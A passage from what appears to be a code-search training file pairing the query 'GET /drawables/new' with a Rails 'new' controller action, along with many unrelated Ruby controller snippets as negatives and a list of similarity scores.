"def shape\n=begin\n\t\tgeometries = Rails.cache.fetch(MEMORY_CACHE_KEY_SHAPE.gsub(\"[shape_id]\", params[:id])\n\t\t\t\t.gsub(\"[locale]\", I18n.locale.to_s)\n\t\t\t\t.gsub(\"[shape_type_id]\", params[:shape_type_id])) {\n\t\t\tShape.build_json(params[:id], params[:shape_type_id]).to_json\n\t\t}\n=end\n\t\tkey = FILE_CACHE_KEY_SHAPE.gsub(\"[shape_id]\", params[:id])\n\t\t\t.gsub(\"[locale]\", I18n.locale.to_s)\n\t\t\t.gsub(\"[shape_type_id]\", params[:shape_type_id])\n\t\tgeometries = JsonCache.fetch_shape(key) {\n \t\tShape.build_json(params[:id], params[:shape_type_id]).to_json\n\t\t}\n\n respond_to do |format|\n format.json { render json: geometries }\n end\n end",
"def get_colours\n @item = Item.find(params[:id])\n @colours = @item.variants_for(:colour, params[:size], nil)\n respond_to do |format|\n format.json { render :json => @colours }\n end\n end",
"def index\n wishes = Wish.all.with_attached_image.where(is_secret: false)\n render json: { wishes: generate_image_url(wishes) }\n end",
"def index\n @api_v1_canvases = Api::V1::Canvas.all\n render json: @api_v1_canvases\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def update\n @drawable = Drawable.find(params[:id])\n\n respond_to do |format|\n if @drawable.update_attributes(params[:drawable])\n format.html { redirect_to @drawable, notice: 'Drawable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @drawable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def drawings\n\t@drawings || read_drawings\n end",
"def index\n @pictures = Picture.where(foodscape_id: params[:foodscape_id])\n render json: @pictures\n end",
"def draw\n @deck = Deck.find(params[:id])\n drawed_cards = @deck.draw_five_cards\n render json: {\n cards: drawed_cards,\n deck_id: @deck.id,\n remaining: @deck.card_codes.count\n }\n end",
"def get_drawing_object_list\n\n begin\n str_uri = $product_uri + '/words/' + @filename + '/drawingObjects'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = RestClient.get(signed_str_uri, {:accept => 'application/json'})\n\n stream_hash = JSON.parse(response_stream)\n stream_hash['Code'] == 200 ? stream_hash['DrawingObjects']['List'] : false\n\n rescue Exception => e\n print e\n end\n\n end",
"def new\n @drawing = Drawing.new\n\n render json: @drawing\n end",
"def new\n @drawable = Drawable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @drawable }\n end\n end",
"def styles\n respond_to do |format|\n format.json{ render :json => helpers.get_style(params[:style_id], :json) }\n end\n end",
"def show\n @graphic = Graphic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @graphic }\n end\n end",
"def show\n @graphic = Graphic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @graphic }\n end\n end",
"def append_to(drawables, layer_type)\n drawables.each do |drawable|\n layer_with(layer_type).append(drawable)\n end\n end",
"def create\n @drawable = Drawable.new(params[:drawable])\n\n respond_to do |format|\n if @drawable.save\n format.html { redirect_to @drawable, notice: 'Drawable was successfully created.' }\n format.json { render json: @drawable, status: :created, location: @drawable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @drawable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @draw = Draw.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @draw }\n end\n end",
"def destroy\n @draw = Draw.find(params[:id])\n @draw.destroy\n\n respond_to do |format|\n format.html { redirect_to draws_url }\n format.json { head :no_content }\n end\n end",
"def index\n @breeds = Breed.all\n\n render json: @breeds\n end",
"def show\n render json: { wishes: generate_image_url([@wish]) }\n end",
"def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end",
"def draw_item_image\n draw_bg_gradient\n if @obj.rename_image\n draw_rename_image\n elsif $imported[\"YEA-ShopOptions\"] && @obj.image\n draw_shop_options_image\n else\n icon_index = @obj.icon_index\n bitmap = Cache.system(\"Iconset\")\n rect = Rect.new(icon_index % 16 * 24, icon_index / 16 * 24, 24, 24)\n target = Rect.new(0, 0, 96, 96)\n contents.stretch_blt(target, bitmap, rect)\n end\n end",
"def get_drawing_objects output_path\n\n begin\n\n if output_path == ''\n raise 'Output path not specified.'\n end\n\n str_uri = $product_uri + '/words/' + @filename + '/drawingObjects'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = RestClient.get(signed_str_uri, {:accept => 'application/json'})\n\n stream_hash = JSON.parse(response_stream)\n\n return false unless stream_hash['Code'] == 200\n\n stream_hash['DrawingObjects']['List'].each do |object|\n self.get_drawing_object(object['link']['Href'], output_path)\n end\n\n rescue Exception => e\n print e\n end\n\n end",
"def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end",
"def show\n @bluetooth = Bluetooth.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bluetooth }\n end\n end",
"def show\n render json: @weapon\n end",
"def show\n @disc_color = DiscColor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @disc_color }\n end\n end",
"def show\n @layers = Layer.where(:soil_id => params[:id])\n respond_to do |format|\n\t redirect_to @layers\n format.json { render json: @layers }\n end\n end",
"def show\n @terrain_type = TerrainType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @terrain_type }\n format.json { render :json => @terrain_type.to_json(:only => [:id, :name], :methods => :image_url) }\n \n end\n end",
"def show\n @api_v1_canvas = Api::V1::Canvas.find(params[:id])\n end",
"def index\n @client_accessories = ClientAccessory.all\n end",
"def show\n render json: @dice\n end",
"def show\n @attribute_layer = AttributeLayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attribute_layer }\n end\n end",
"def load_drawings_and_rels\n @drawings = parse_xml(@drawing_filepath).css('xdr|twoCellAnchor', 'xdr|oneCellAnchor' )\n drawing_rels_filepath = expand_to_rels_path(@drawing_filepath)\n @drawings_rels = parse_xml(drawing_rels_filepath).css('Relationships')\n end",
"def list\n @colors = Admin::Color.all\n\n render json: { colors: @colors }\n end",
"def show\n # @attribute_layer = @palette.attribute_layers.find(attribute_layer_params[:id])\n end",
"def show\n @barcode_list = BarcodeList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @barcode_list }\n format.svg { send_data @barcode_list.data, :type => 'image/svg+xml', :disposition => 'inline' }\n end\n end",
"def show\n @barcode_list = BarcodeList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @barcode_list }\n format.svg { send_data @barcode_list.data, :type => 'image/svg+xml', :disposition => 'inline' }\n end\n end",
"def index\n @weapon_types = WeaponType.all\n\n render json: @weapon_types\n end",
"def drawings\n Drawing.where(label: self)\n end",
"def show\n render json: @accessory_category\n end",
"def show\n render json: @weapon_type\n end",
"def show\n render :json => @weapon, :include => :special_rules\n end",
"def index\n @artefact = Artefact.find(params[:artefact_id])\n\n @assets = @artefact.assets\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assets }\n end\n end",
"def index\n @shots = Shot.all\n\n render json: @shots\n end",
"def index\n @drawers = Drawer.all\n\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @drawers }\n end\n end",
"def show\n @pix = Pix.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pix }\n end\n end",
"def index\n @weapons = Weapon.all\n\n render json: @weapons\n end",
"def index\n @textures = Texture.find(:all, :limit => 20, :order=> 'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @textures }\n end\n end",
"def accessories\n render json: { collections: Collection.published_accessories }\n end",
"def index\n @graphics = Graphic.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @graphics }\n end\n end",
"def show\n animal = Animal.find(params[:id])\n #return all the sightings for the animal\n render json: animal.to_json(include: :sightings)\nend",
"def show\n mix = BreedMix.find(params[:id])\n render json: mix\n end",
"def index\n @palettes = Palette.all\n end",
"def create\n @draw = Draw.new(params[:draw])\n\n respond_to do |format|\n if @draw.save\n format.html { redirect_to @draw, notice: 'Draw was successfully created.' }\n format.json { render json: @draw, status: :created, location: @draw }\n else\n format.html { render action: \"new\" }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @scribble = Scribble.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @scribble }\n end\n end",
"def show\n @disability = Disability.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @disability }\n end\n end",
"def index\n @attribute_layers = @palette.attribute_layers.all\n end",
"def draw_weapon_kind\n item.w_types.each do |tipo|\n next if Vocab.wtype(tipo).nil?\n draw_detail(Vocab::EQUIP_KIND, Vocab.wtype(tipo))\n end\n end",
"def create\n @draw = Draw.new(draw_params)\n respond_to do |format|\n if @draw.save\n format.html { redirect_to @draw, notice: 'Draw was successfully created.' }\n format.json { render :show, status: :created, location: @draw }\n else\n format.html { render :new }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def items\n @beverages = Beverage.available\n respond_to do |format|\n format.json { render :json => @beverages.to_json(methods: :image_url)}\n end\n end",
"def update\n @draw = Draw.find(params[:id])\n\n respond_to do |format|\n if @draw.update_attributes(params[:draw])\n format.html { redirect_to @draw, notice: 'Draw was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_svg\n\t expires_in(1.hours, :private => false, :public => true)\n\t source_fedora_object = Multiresimage.find(params[:id])\n\t authorize! :show, source_fedora_object\n\t @svg = source_fedora_object.DELIV_OPS.content()\n gon.url = DIL_CONFIG['dil_js_url']\n respond_to do |wants|\n wants.xml { render :xml => @svg }\n end\n end",
"def get_svg\n\t expires_in(1.hours, :private => false, :public => true)\n\t source_fedora_object = Multiresimage.find(params[:id])\n\t authorize! :show, source_fedora_object\n\t @svg = source_fedora_object.DELIV_OPS.content()\n gon.url = DIL_CONFIG['dil_js_url']\n respond_to do |wants|\n wants.xml { render :xml => @svg }\n end\n end",
"def show\n @fabric = Fabric.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fabric }\n end\n end",
"def set_draw\n @draw = Draw.find(params[:id])\n end",
"def index\n @skin_diets = SkinDiet.all\n end",
"def index\n @layers = Layer.order(:id)\n\n respond_to do |format|\n format.html # index.html.erb\n # example output:\n # {\"layers\":[{\"id\":14,\"name\":\"coutries\",\"number_of_polygons\":279}]}\n format.json { render json: {layers: @layers.map {|layer| {id: layer.id, name:layer.name, number_of_polygons: layer.areas.count}}} }\n end\n end",
"def update\n respond_to do |format|\n if @draw.update(draw_params)\n format.html { redirect_to @draw, notice: 'Draw was successfully updated.' }\n format.json { render :show, status: :ok, location: @draw }\n else\n format.html { render :edit }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @shape_type = ShapeType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shape_type }\n end\n end",
"def index\n @dices = Dice.all\n\n render json: @dices\n end",
"def drawing_params\n params.require(:drawing).permit(:name, :leds, :user_id, :leds => [])\n end",
"def index\n @down_sizes = DownSize.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @down_sizes }\n end\n end",
"def skins\n client.get \"skins/#{inst_id}/list\"\n end",
"def drink\n @drinks = Item.select {|k,v| k.product_type_id == 4 }\n \n respond_to do |format|\n #format.html # index.html.erb\n format.json { render json: @drinks, :only => [:id, :name, :description, :price, :time], :include => {:product_type => { :only => [:id, :name]}}}\n end\n end",
"def show\n\n @observation = Observation.find(params[:id])\n @coral = Coral.find(params[:coral_id])\n\n @files = Dir.glob(\"app/assets/images/tagged_outlines_thumbs/*\")\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observation }\n end\n end",
"def index\n @shape_types = ShapeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shape_types }\n end\n end",
"def show\n @boat = Boat.find(params[:id])\n\n render json: @boat\n end",
"def index\n @icons = Icon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @icons }\n end\n end",
"def index\n @colors = if params[:sort]\n Color.order params[:sort]\n elsif params[:body_style_size_id]\n BodyStyleSize.find(params[:body_style_size_id]).colors.ordered\n elsif params[:design_id]\n Design.find(params[:design_id]).colors.ordered\n else\n Color.ordered\n end.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colors }\n end\n end",
"def list_colors\n colors_raw = search_colors_shopstyle\n colors = formats_colors_hash(colors_raw)\n render json: { status: 0, data: {colors: colors} }\n end",
"def find_asset_json\n res = Asset.find(@params['id'])\n render :string => res.to_json, :content_type => \"application/json\", :layout => false\n end",
"def index\n @batting_lines = BattingLine.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @batting_lines }\n end\n end",
"def burndown\n @sprint = Sprint.find(params[:id])\n\n respond_to do |format|\n format.html { \n @graph = open_flash_chart_object(800, 500, url_for( :action => 'burndown', :id => params[:id], :format => :json )) \n }\n format.json { \n chart = @sprint.flash_burndown\n render :text => chart, :layout => false\n }\n end\n end",
"def draw\n draw_background\n draw_ambient\n draw_objects\n draw_ui\n end",
"def index\n @strokes = Stroke.all\n end",
"def show\n @asset = Asset.find(params[:id])\n @assets = @uploadable.assets\n respond_to do |format|\n format.html\n format.json { render json: @asset}\n end\n end",
"def asset(id, params = {})\n get \"assets/#{id}\", {query: params}\n end",
"def index\n @graphics = Graphic.fetch_ordered_by_page(params[\"page\"])\n end",
"def icondetails id = 1, size = 128\n params = { 'id' => id, 'size' => size }\n json = send_request 'icondetails', params\n json['icon']\n end",
"def show\n @glyph = Glyph.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @glyph }\n end\n end"
] |
[
"0.7439337",
"0.5921452",
"0.5917683",
"0.57408315",
"0.5487863",
"0.54113376",
"0.526407",
"0.5232786",
"0.5197832",
"0.5087014",
"0.50849587",
"0.5082376",
"0.5079196",
"0.50362116",
"0.5022915",
"0.5018479",
"0.49898526",
"0.49810594",
"0.4975394",
"0.49750707",
"0.4960267",
"0.49574128",
"0.49574128",
"0.4956628",
"0.49270672",
"0.48718813",
"0.48551783",
"0.4854108",
"0.48193473",
"0.4814689",
"0.4808055",
"0.48057052",
"0.48031673",
"0.4768397",
"0.4767581",
"0.47652906",
"0.47639903",
"0.47590768",
"0.47560373",
"0.47526506",
"0.47500882",
"0.47454035",
"0.47382855",
"0.47264782",
"0.47238246",
"0.47204068",
"0.47204068",
"0.4714911",
"0.4707222",
"0.4697201",
"0.46938968",
"0.46936795",
"0.46904993",
"0.46854255",
"0.46853063",
"0.4681351",
"0.4680973",
"0.46804926",
"0.4679244",
"0.46753404",
"0.46750438",
"0.46748686",
"0.4674387",
"0.46630275",
"0.46623713",
"0.46578085",
"0.4657737",
"0.46537703",
"0.46507642",
"0.46482122",
"0.46396106",
"0.4639556",
"0.4639556",
"0.4639395",
"0.46383804",
"0.46345687",
"0.46220237",
"0.46210554",
"0.46166468",
"0.46130252",
"0.46037596",
"0.45981905",
"0.4593804",
"0.45912078",
"0.4589743",
"0.45837864",
"0.4583232",
"0.4577574",
"0.45775044",
"0.45752847",
"0.45730138",
"0.4569706",
"0.456917",
"0.45648867",
"0.45607293",
"0.45564026",
"0.45485973",
"0.45479852",
"0.45477194",
"0.4545746"
] |
0.6102062
|
1
|
GET /drawables/new GET /drawables/new.json
|
def new
@drawable = Drawable.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @drawable }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @draw = Draw.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @draw }\n end\n end",
"def new\n @drawing = Drawing.new\n\n render json: @drawing\n end",
"def create\n @drawable = Drawable.new(params[:drawable])\n\n respond_to do |format|\n if @drawable.save\n format.html { redirect_to @drawable, notice: 'Drawable was successfully created.' }\n format.json { render json: @drawable, status: :created, location: @drawable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @drawable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @drawables = Drawable.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @drawables }\n end\n end",
"def create\n @draw = Draw.new(params[:draw])\n\n respond_to do |format|\n if @draw.save\n format.html { redirect_to @draw, notice: 'Draw was successfully created.' }\n format.json { render json: @draw, status: :created, location: @draw }\n else\n format.html { render action: \"new\" }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @draw = Draw.new(draw_params)\n respond_to do |format|\n if @draw.save\n format.html { redirect_to @draw, notice: 'Draw was successfully created.' }\n format.json { render :show, status: :created, location: @draw }\n else\n format.html { render :new }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @layer = Layer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @layer }\n end\n end",
"def new(options) \n Client.get(\"/colors/new\", :query => options)\n end",
"def new\n @attribute_layer = AttributeLayer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attribute_layer }\n end\n end",
"def new\n @belief = Belief.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @belief }\n end\n end",
"def new\n @icon = Icon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @icon }\n end\n end",
"def new\n @accessory = Accessory.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @accessory }\n end\n end",
"def new\n @dash_type = DashType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dash_type }\n end\n end",
"def new\n @glyph = Glyph.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @glyph }\n end\n end",
"def create\n @drawing = Drawing.new(params[:drawing])\n\n if @drawing.save\n render json: @drawing, status: :created, location: @drawing\n else\n render json: @drawing.errors, status: :unprocessable_entity\n end\n end",
"def new\n @cut = Cut.new\n @animals = Animal.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cut }\n end\n end",
"def new\n @construction_style = ConstructionStyle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @construction_style }\n end\n end",
"def new\n @through_table = ThroughTable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @through_table }\n end\n end",
"def new\n @wallpaper = Wallpaper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wallpaper }\n end\n end",
"def new\n @fabric = Fabric.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fabric }\n end\n end",
"def new\n @pix = Pix.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pix }\n end\n end",
"def new\n @blueprint = Blueprint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @blueprint }\n end\n end",
"def new\n @dragon = Dragon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @dragon }\n end\n end",
"def new\n @ship = Ship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ship }\n end\n end",
"def new\n @disc_color = DiscColor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @disc_color }\n end\n end",
"def new\n @dimension = Dimension.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @dimension }\n end\n end",
"def new\n \n @ship = Ship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ship }\n end\n end",
"def create\n service_result = Organizers::BuildJoinTableObjects.call(graphic_params, 'graphic', :create)\n @graphic = service_result.main_object\n\n if service_result.failure?\n render json: {errors: errors_as_array_hash(service_result.message)}, status: :unprocessable_entity\n else\n render :show, status: :created, location: @graphic\n end\n end",
"def new\n @internaldraw = Internaldraw.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @internaldraw }\n end\n end",
"def new\n @bluetooth = Bluetooth.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bluetooth }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tunning_diagram }\n format.xml { render xml: @tunning_diagram }\n end\n end",
"def new\n @distraction = Distraction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distraction }\n end\n end",
"def new\n @portion = Portion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @portion }\n end\n end",
"def new\n @polygon = Polygon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @polygon }\n end\n end",
"def new\n @graphic = Graphic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @graphic }\n end\n end",
"def new\n @circle = Circle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @circle }\n end\n end",
"def new\n @circle = Circle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @circle }\n end\n end",
"def new\n @budget = Budget.find(params[:budget_id])\n @line = Line.new\n @line.category = params[:category]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def create\n floor_plan = FloorPlan.where(slug: params[:slug])[0]\n icon = Icon.create(\n icon_class: params[:icon][:icon],\n floor_plan_id: floor_plan.id,\n category: params[:icon][:category],\n device_type: params[:icon][:type]\n )\n icon.set_color\n if icon.save\n render json: icon\n end\n end",
"def new\n @weapon = Weapon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weapon }\n end\n end",
"def new\n @path = Path.new({:layer => @layer})\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @path }\n end\n end",
"def new\n get_projects\n\n\n @breadcrumb = 'create'\n @billable_item = BillableItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @billable_item }\n end\n end",
"def new\n @brush_holder = BrushHolder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @brush_holder }\n end\n end",
"def new\n @distro = Distro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distro }\n end\n end",
"def new\n @distro = Distro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distro }\n end\n end",
"def new\n @breed = Breed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @breed }\n end\n end",
"def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end",
"def new\n @action_graphic = ActionGraphic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @action_graphic }\n end\n end",
"def new\n @budgeting_type = BudgetingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budgeting_type }\n end\n end",
"def new\n @green = Green.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @green }\n end\n end",
"def new\n @withdrawal = Withdrawal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @withdrawal }\n end\n end",
"def new\n @bl = Bl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bl }\n end\n end",
"def new\n @hair_colour = HairColour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hair_colour }\n end\n end",
"def new\n @reflection = Reflection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reflection }\n end\n end",
"def new\n @droparea = Droparea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @droparea }\n end\n end",
"def new\n @sprite = Sprite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sprite }\n end\n end",
"def new\n @bagtype = Bagtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bagtype }\n end\n end",
"def new\n @asset_categorization = AssetCategorization.new(categorize_type: AssetCategorization::CategorizeType.collect{|k,v| v[:weight]}.last) do |cat|\n 1.times{cat.asset_categorization_items.new(vat_rate: 17)}\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asset_categorization }\n format.xml { render xml: @asset_categorization }\n end\n end",
"def new\n @paper_type = PaperType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paper_type }\n end\n end",
"def new\n @bounty = Bounty.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bounty }\n end\n end",
"def new\n @breadcrumb = 'create'\n @bank = Bank.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end",
"def new\n @attached = Attached.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attached }\n end\n end",
"def new\n @attached = Attached.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attached }\n end\n end",
"def new\n @click = Click.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @click }\n end\n end",
"def new\n @weapon_kind = WeaponKind.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weapon_kind }\n end\n end",
"def new\n @budgetcategory = Budgetcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budgetcategory }\n end\n end",
"def new\n @boat = Boat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json {render json: @boat}\n end\n end",
"def new\n @through_reference = ThroughReference.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @through_reference }\n end\n end",
"def new\n @overlay = Overlay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @overlay }\n end\n end",
"def new\n @flavor = Flavor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @flavor }\n end\n end",
"def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n # format.json { render json: @budget }\n end\n end",
"def new\n @body_style = BodyStyle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @body_style }\n end\n end",
"def new\n @color = Color.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @color }\n end\n end",
"def new\n @color = Color.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @color }\n end\n end",
"def new\n @dartboard = Dartboard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dartboard }\n end\n end",
"def new\n @cable = Cable.new\n authorize! :create, @cable\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cable }\n end\n end",
"def new\n @image_bank = ImageBank.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_bank }\n end\n end",
"def new\n @medium_dungeon = MediumDungeon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medium_dungeon }\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @dress = Dress.new\n @dress.assets.build\n @assets = @dress.assets\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dress }\n end\n end",
"def new\n @editability = Editability.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @editability }\n end\n end",
"def new\n @climb = Climb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @climb }\n end\n end",
"def new\n @blacklist = Blacklist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blacklist }\n end\n end",
"def new\n @abuse_category = AbuseCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @abuse_category }\n end\n end",
"def new\n @breadcrumb = 'create'\n @tool = Tool.new\n @companies = companies_dropdown\n @offices = offices_dropdown\n @products = products_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end",
"def new\n @sighting = Sighting.new\n\t@types = Type.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sighting }\n end\n end",
"def new\n @ocat = Ocat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ocat }\n end\n end",
"def new\n @attri = Attri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attri }\n end\n end",
"def new\n @down_size = DownSize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @down_size }\n end\n end",
"def new\n @baton = Baton.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @baton }\n end\n end",
"def new\n @beerstyle = Beerstyle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beerstyle }\n end\n end",
"def new\n @surface = Surface.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @surface }\n end\n end",
"def new\n @wall = Wall.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wall }\n end\n end",
"def new\n @wall = Wall.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wall }\n end\n end",
"def new\n @plane = Plane.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plane }\n end\n end",
"def new\n @konfig = Konfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @konfig }\n end\n end",
"def create\n @drawing = Drawing.new(drawing_params)\n\n respond_to do |format|\n if @drawing.save\n format.html { redirect_to @drawing, notice: 'Drawing was successfully created.' }\n format.json { render :show, status: :created, location: @drawing }\n else\n format.html { render :new }\n format.json { render json: @drawing.errors, status: :unprocessable_entity }\n end\n end\n end",
